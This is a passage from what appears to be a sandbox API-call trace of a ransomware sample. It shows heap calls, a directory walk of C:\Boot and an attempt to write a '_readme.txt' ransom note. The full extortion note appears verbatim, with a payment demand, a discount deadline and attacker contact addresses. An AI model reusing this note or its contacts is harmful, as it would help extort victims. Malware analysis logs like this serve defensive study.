(HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.065] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.065] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.066] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.066] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.067] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.067] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.068] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.068] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0117.068] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0117.068] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0117.069] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.069] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.069] PathFindFileNameW (pszPath="") returned="" [0117.069] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.069] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.069] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.069] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.069] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165130 | out: hHeap=0x35b0000) returned 1 [0117.069] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.069] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.069] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0117.069] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.069] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.069] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0117.070] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6771170 [0117.070] lstrcpyW (in: lpString1=0x6771170, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.070] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.070] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.070] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.071] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.071] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.071] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.071] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.071] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.071] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.071] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.071] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.071] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.071] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.071] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.071] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.071] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.071] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.071] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 | out: hHeap=0x35b0000) returned 1 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0117.072] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.072] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165158 